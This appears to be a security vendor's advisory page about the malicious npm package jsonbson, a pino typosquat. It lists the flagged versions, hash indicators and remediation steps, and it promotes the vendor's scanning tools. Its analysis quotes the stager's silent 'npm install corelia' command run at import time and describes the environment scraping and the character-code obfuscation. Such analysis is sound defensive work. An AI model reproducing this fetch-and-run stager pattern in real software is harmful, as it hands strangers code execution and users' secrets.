Which versions of jsonbson are malicious?

The following npm versions of jsonbson are flagged malicious: 2.1.1, 2.1.2, 2.1.4. Treat any of these as compromised.

How do I remediate jsonbson if I installed it?

jsonbson is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed jsonbson — how do I know if it already compromised me?

If jsonbson was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is jsonbson part of a known attack campaign?

Yes — jsonbson is associated with the IN-MAL-2026-003324, IN-MAL-2026-003336, IN-MAL-2026-003345, GHSA-44rg-m26f-r36f campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find jsonbson across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for jsonbson (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging jsonbson across your stack and pipelines.

Malicious package

jsonbsonnpm

Malicious code in jsonbson (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-4591

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall jsonbson

What this malware does

On require, lib/writer.js (loaded via main=pino.js) collects a full snapshot of process.env, OS platform, hostname, username, and external MAC addresses, then runs execSync('npm install corelia --no-warnings --no-save --no-progress --loglevel silent') and immediately require('../../corelia/pino.js'). The corelia package is not declared in dependencies and is pulled unpinned from npm at import time, executing arbitrary third-party code with the harvested fingerprint available in-process. The package masquerades as the pino logger (homepage https://getpino.io, main file pino.js, README titled 'log-flare (Pino)', pino-branded image assets) despite being published as jsonbson — a typosquat/brand-impersonation lure. lib/writer.js further uses a String.fromCharCode per-character builder to assemble the only human-readable error string, an obfuscation pattern with no functional purpose other than evading string scans. The combination — branding deception + import-time silent install of an unpinned external package + bulk environment scraping + character-code obfuscation — is an unambiguous stager that grants the publisher arbitrary code execution and access to all environment secrets on every machine that requires this module.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

3 flagged

2.1.12.1.22.1.4

Indicators of compromise (SHA-256)

2535c222a99d41c8a2dc3fa9ee5782ff943fbe42e9f29fa157490806d2c4beb5

43016a81e7ae24a3a218cdd8fc245a15bd83bc5556d044c3d5a62ee8844b56b9

8068ec3c82afd849515c6434f74da03c799500583129d4c26f1a168a5ac5ba1b

7379ad9f4ecbca60d3f95d80445ff8e61a7ce5fd461912e50c8c2b990092b22a

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for jsonbson (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging jsonbson across your stack and pipelines.
If you installed it — respond
jsonbson is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If jsonbson was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks jsonbson before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. jsonbson on npm has been identified as a malicious package (versions 2.1.1, 2.1.2, 2.1.4 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-003324IN-MAL-2026-003336IN-MAL-2026-003345GHSA-44rg-m26f-r36f

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks jsonbson-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring